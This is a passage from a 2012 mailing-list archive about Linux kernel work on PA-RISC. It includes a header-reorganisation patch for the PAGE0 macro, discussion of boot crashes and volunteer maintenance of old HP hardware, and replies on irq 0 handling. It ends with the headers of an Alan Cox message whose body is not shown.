@@ -160,5 +160,11 @@ extern int npmem_ranges;
 
 #include <asm-generic/memory_model.h>
 #include <asm-generic/getorder.h>
+#include <asm/pdc.h>
+
+#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
+
+/* DEFINITION OF THE ZERO-PAGE (PAG0) */
+/* based on work by Jason Eckhardt (jason@equator.com) */
 
 #endif /* _PARISC_PAGE_H */
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 4ca510b..7f0f2d2 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -343,8 +343,6 @@
 
 #ifdef __KERNEL__
 
-#include <asm/page.h> /* for __PAGE_OFFSET */
-
 extern int pdc_type;
 
 /* Values for pdc_type */
@@ -677,11 +675,6 @@ static inline char * os_id_to_string(u16 os_id) {
 
 #endif /* __KERNEL__ */
 
-#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
-
-/* DEFINITION OF THE ZERO-PAGE (PAG0) */
-/* based on work by Jason Eckhardt (jason@equator.com) */
-
 /* flags of the device_path */
 #define	PF_AUTOBOOT	0x80
 #define	PF_AUTOSEARCH	0x40
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 4f00459..9bbd2a5 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -50,6 +50,7 @@
 #include <linux/init.h>
 #include <linux/major.h>
 #include <linux/tty.h>
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
 static DEFINE_SPINLOCK(pdc_console_lock);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 7c07743..70e105d 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -29,6 +29,7 @@
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/irq.h>
+#include <asm/page.h>
 #include <asm/param.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 8644d53..42cfcd9 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -44,6 +44,7 @@
 #include <asm/ropes.h>
 #include <asm/mckinley.h>	/* for proc_mckinley_root */
 #include <asm/runway.h>		/* for proc_runway_root */
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for PDC_MODEL_* */
 #include <asm/pdcpat.h>		/* for is_pdc_pat() */
 #include <asm/parisc-device.h>
diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 6468a29..39571f9 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -22,7 +22,9 @@
 #include <linux/font.h>
 
 #include <asm/hardware.h>
+#include <asm/page.h>
 #include <asm/parisc-device.h>
+#include <asm/pdc.h>
 #include <asm/cacheflush.h>
 #include <asm/grfioctl.h>
 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 9 May 2012 22:03:45 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336615448 14340 80.91.229.3 (10 May 2012 02:04:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 02:04:08 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Vincent <vincent.stehle@laposte.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 04:04:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSIjf-00016u-1r
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 04:04:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752657Ab2EJCEG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 22:04:06 -0400
Original-Received: from blu0-omc3-s12.blu0.hotmail.com ([65.55.116.87]:30008 "EHLO
	blu0-omc3-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751547Ab2EJCEF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 22:04:05 -0400
Original-Received: from BLU0-SMTP65 ([65.55.116.73]) by blu0-omc3-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 9 May 2012 19:04:03 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP65.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 9 May 2012 19:04:02 -0700
In-Reply-To: <4FAADE2A.9080803@bergerie>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 May 2012 02:04:03.0079 (UTC) FILETIME=[2C1AB970:01CD2E51]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4343>

On 9-May-12, at 5:14 PM, Vincent wrote:

> On 05/09/2012 05:55 PM, John David Anglin wrote:
>> Attached is an updated version.   It applies against 3.3.4.
>
> Thanks. It applies on v3.4-rc6 with no issue. However, it crashes at
> boot in flush_dcache_page_asm.


I want to make a general comment.

The hp712/100 is an old machine.  There is no longer ANY support for
parisc open source by HP.  If the parisc user community wants to  
continue
to run current open source software, then it will have to work  
together to
achieve this goal.

In this case, we need to figure out what is wrong with the tmpalias code
on the hp712/100.

Debian dropping hppa after the lenny release was a wake up call.  There
is pressure on other fronts.  See for example the following thread,
http://gcc.gnu.org/ml/gcc/2012-05/msg00093.html

If accepted, it would mean the end of 32-bit GCC development for parisc,
and therefore the end of parisc linux and netbsd systems.  More  
specifically,
it may be reasonable to drop support for PA 1.1 systems.  So, we need
to hear why it is important to continue to try to maintain PA 1.1  
systems.

In general, I have found Debian package maintainers to be supportive
of bug fixes for parisc.  Most packages still support parisc and build  
without
problems but there is some porting work that needs doing.  For example,
mono has seriously rotted.  Without a viable userspace, there's not much
point to maintaining the kernel.

I applaud Mikulas for reviewing Rolf Eike's fixes for 3.4 and posting  
them to the
linux-kernel list.  Maintainers have personal time issues and can't  
always be
available.

I have spent hundreds of hours building packages, working on GCC,
binutils, glibc and kernel bugs over the past year.  I have pushed fixes
upstream and back ported them as quickly as possible because it takes
considerable time before the fixes start to percolate downstream.

I have a project to restart a Debian buildd for parisc and help would be
appreciated.  The key issue is help in reporting and analyzing package
bugs. and informing the appropriate maintainers when there are problems.

I posted a number of kernel work in progress patches to the linux-parisc
list but nobody bothered to test them except for Vincent today.  All I  
know
at this point is my rp3440 is much more stable and runs twice as fast as
it used to with my cache patch.  As such, it can keep up with unstable.
This took hundreds of kernel builds and considerable long term testing.

The problem with cache bugs is they are difficult.  The parisc  
architecture
and the linux requirements for cache routines are inadequately  
documented.
So, it has become a trial and error exercise.  This has always been the
critical problem for parisc-linux and the code in cache.c reflects this.

It is impossible for volunteers to run and maintain a broad range of
hardware.  So, we need to focus on the hardware that is used and will
continue to used over the next few years.  If users want support, then
they need to be willing to help as well.

Regards,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Thu, 10 May 2012 08:41:50 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <2075347.T446pQRFvO@donald.sf-tec.de>
References: <4FA9975C.5060708@bergerie> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3216674.VVqWXHb0lN"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336632134 15282 80.91.229.3 (10 May 2012 06:42:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 06:42:14 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 08:42:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSN4i-0000gL-OR
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 08:42:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755041Ab2EJGmH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 02:42:07 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:32836 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755925Ab2EJGmE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 02:42:04 -0400
Original-Received: (qmail 9431 invoked from network); 10 May 2012 06:42:01 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:33418 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@bell.net>; Thu, 10 May 2012 08:42:01 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4344
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4344>


--nextPart3216674.VVqWXHb0lN
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

John David Anglin wrote:

> I posted a number of kernel work in progress patches to the linux-parisc
> list but nobody bothered to test them except for Vincent today.  All I
> know
> at this point is my rp3440 is much more stable and runs twice as fast as
> it used to with my cache patch.  As such, it can keep up with unstable.
> This took hundreds of kernel builds and considerable long term testing.

I have your patch from a while back applied to my C8000 and I have not seen 
any crashes or other issues yet (since beginning of April). Your futex patches 
are on this machine for even longer. This of course means only that there is 
no obvious breakage, I did not run any special testcase for any of those stuff, 
but at least it doesn't randomly eats my machine.

I think Guy Martin has the cache patch running on at least one of his 
machines.

Related note: The #Gentoo-HPPA channel on Freenode has at least some activity 
every other day, often even daily. The last 3 critical breakages I had (the 
gcc bug breaking swap, the gcc bug breaking ext4 and the 3.4-rc compile 
breakage) were first discussed there before posting anywhere. Because of that 
the initial report e.g. to linux-parisc already had rather good data on what 
is happening.

Eike
--nextPart3216674.VVqWXHb0lN
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+rYzQACgkQXKSJPmm5/E4mowCbBsFpuCX8oSEP0TRM+tgejrb0
CmUAoJw67eb/YAhQUKifr+Ogc3xeCEqi
=Yq1u
-----END PGP SIGNATURE-----

--nextPart3216674.VVqWXHb0lN--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/5] PA-RISC: fix compile errors
Date: Thu, 10 May 2012 08:44:56 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1975991.XFDT7t2eTm@donald.sf-tec.de>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1608326.3k8qLAub6K"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336632302 16357 80.91.229.3 (10 May 2012 06:45:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 06:45:02 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Grant Grundler <grantgrundler@gmail.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 08:45:00 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSN7T-00014Z-RS
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 08:45:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755263Ab2EJGo7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 02:44:59 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:40085 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752333Ab2EJGo6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 02:44:58 -0400
Original-Received: (qmail 9741 invoked from network); 10 May 2012 06:44:57 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:33430 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <mpatocka@redhat.com>; Thu, 10 May 2012 08:44:57 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4345 gmane.linux.kernel:1294675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4345>


--nextPart1608326.3k8qLAub6K
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

Mikulas Patocka wrote:
> From: Rolf Eike Beer <eike-kernel@sf-tec.de>

Thanks Mikulas for picking this up, but you have lost the patch subjects. I'll 
resend the whole series tonight.

Grant, may I transform your comment on #3 (that's #4/6) on the original series 
to an Acked-By or Reviewed-By?

Eike
--nextPart1608326.3k8qLAub6K
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+rY+kACgkQXKSJPmm5/E57KwCfT/PgCpOwIDhf77uFqwJr4PtL
w1AAoJcrbN0uTJTsSd/ffPoG8uA/cdHN
=wkrN
-----END PGP SIGNATURE-----

--nextPart1608326.3k8qLAub6K--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Thu, 10 May 2012 11:24:32 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <CAMuHMdX+TjGqeGVxb6_aw_B8=VUYF7jPaUow6H=p-XW5ZA-TPg@mail.gmail.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
	<20120505115851.1fecbe50@pyramind.ukuu.org.uk>
	<Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
	<CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
	<Pine.LNX.4.64.1205082259350.16707@file.rdu.redhat.com>
	<CA+55aFwiLp1z+2mzkrFsid1WZQ0TQkcn8F2E6NL_AVR+m1fZ2w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336641897 23161 80.91.229.3 (10 May 2012 09:24:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 09:24:57 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 10 11:24:55 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SSPcD-0002Vk-MJ
	for glk-linux-kernel-3@plane.gmane.org; Thu, 10 May 2012 11:24:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932594Ab2EJJYj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 10 May 2012 05:24:39 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:56737 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932448Ab2EJJYe convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 10 May 2012 05:24:34 -0400
Original-Received: by wgbdr13 with SMTP id dr13so1120059wgb.1
        for <multiple recipients>; Thu, 10 May 2012 02:24:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=QwcD1bJp3ONhael+uoDiaG8qRVt4jjdywaayrnk/Mcg=;
        b=P69Ta23ScYz7Ews2IoxLddVTFu99u+EWz0HJdBBeknmSdup1afGoJlRAH9NWaqWjKf
         oZJ8Y1SuMBzcFeoVfyZtx2z0HHPk3cPjdwAi2Nr7lJoqchl2pHVe/sdxf1RYEDOMbSPA
         mgdacrKSAmXddccP7mByGZ+dg4kL35be9SfXcnDjZgVd2x8r/gFy6VX4eI2DSyZSRIG0
         KKokaaWSku8EtxSHpTQlShkl7WJy1rukAMzYmDHlkrThX2lCpV/4F6iYZiaoOxN2OroP
         UU2K1zYcx56L1EhRvnFfPXnwtZ7r3QkPOfi/z6+oUb9eSV22yls4nB3S4NQlA+AW30yE
         RwGg==
Original-Received: by 10.180.78.233 with SMTP id e9mr7876644wix.5.1336641872711; Thu,
 10 May 2012 02:24:32 -0700 (PDT)
Original-Received: by 10.223.110.84 with HTTP; Thu, 10 May 2012 02:24:32 -0700 (PDT)
In-Reply-To: <CA+55aFwiLp1z+2mzkrFsid1WZQ0TQkcn8F2E6NL_AVR+m1fZ2w@mail.gmail.com>
X-Google-Sender-Auth: RLe2w-Yl2_C20l-6g6vcpn0S274
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1294759 gmane.linux.ports.parisc:4346
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1294759>

On Wed, May 9, 2012 at 7:51 PM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
> On Tue, May 8, 2012 at 8:20 PM, Mikulas Patocka <mpatocka@redhat.com>=
 wrote:
>>> Switching it to zero and testing that things still work would be ap=
preciated.
>> It works, but there is plenty of interrupt controllers on PC-RISC an=
d I
>> can only test it on C8000 with IO-SAPIC. I don't know if irq 0 is us=
ed on
>> some PA-RISC interrupt controller. It would be best if James Bottoml=
ey
>> tests it on his set of machines.
>
> Heh. It sounds like we have more PA-RISC machines than we have actual=
 users.
>
>> And what about x86? --- irq 0 is used for timer and there is
>> void __init setup_default_timer_irq(void)
>> {
>> =C2=A0 =C2=A0 =C2=A0 =C2=A0setup_irq(0, &irq0);
>> }
>> in arch/x86/kernel/time.c.
>
> That's fine. There's no "irq" variable associated with it that people
> can test. No driver will ever see an irq number of zero, no dynamic
> irq code will ever see the zero.
>
> So x86 rules have always been that the way drivers etc test for irq
> existence has always been "irq 0 means no irq". Despite the fact that
> it internally uses irq0 for its own nefarious uses.

So can x86 please show the purely internal irq0 in its arch_show_interr=
upts(),
and accept "[PATCH] /proc/interrupts: irq zero is invalid"
(http://lkml.indiana.edu/hypermail/linux/kernel/1112.0/02229.html)?

Also, the several for_each_irq*() macros still iterate over zero, e.g.

# define for_each_irq_desc(irq, desc)                                  =
 \
        for (irq =3D 0, desc =3D irq_to_desc(irq); irq < nr_irqs;      =
     \
             irq++, desc =3D irq_to_desc(irq))                         =
   \
                if (!desc)                                             =
 \
                        ;                                              =
 \
                else


# define for_each_irq_desc_reverse(irq, desc)                          =
 \
        for (irq =3D nr_irqs - 1, desc =3D irq_to_desc(irq); irq >=3D 0=
;      \
             irq--, desc =3D irq_to_desc(irq))                         =
   \
                if (!desc)                                             =
 \
                        ;                                              =
 \
                else

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds

From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Thu, 10 May 2012 12:40:16 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20120510124016.0fe9a2a1@pyramind.ukuu.org.uk>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
	<20120505115851.1fecbe50@pyramind.ukuu.org.uk>
	<Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
	<20120506132413.28499956@pyramind.ukuu.org.uk>
	<CAP6odjhVK0PjXQ_vLbK2dWs4CnnxJwmhcDPDV=qLJmxBMBBDJQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336649862 20151 80.91.229.3 (10 May 2012 11:37:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 11:37:42 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 13:37:40 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSRgh-0000mq-M3
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 13:37:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758653Ab2EJLhj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 07:37:39 -0400
Original-Received: from lxorguk.ukuu.org.uk ([81.2.110.251]:37692 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758932Ab2EJLhi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 07:37:38 -0400
Original-Received: from pyramind.ukuu.org.uk (earthlight.etchedpixels.co.uk [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.5/8.14.1) with ESMTP id q4AC7QFx005851;
	Thu, 10 May 2012 13:07:31 +0100
Original-Received: from pyramind.ukuu.org.uk (localhost [127.0.0.1])
	by pyramind.ukuu.org.uk (8.14.5/8.14.5) with ESMTP id q4ABeG5u022252;
	Thu, 10 May 2012 12:40:16 +0100
In-Reply-To: <CAP6odjhVK0PjXQ_vLbK2dWs4CnnxJwmhcDPDV=qLJmxBMBBDJQ@mail.gmail.com>
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.8; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
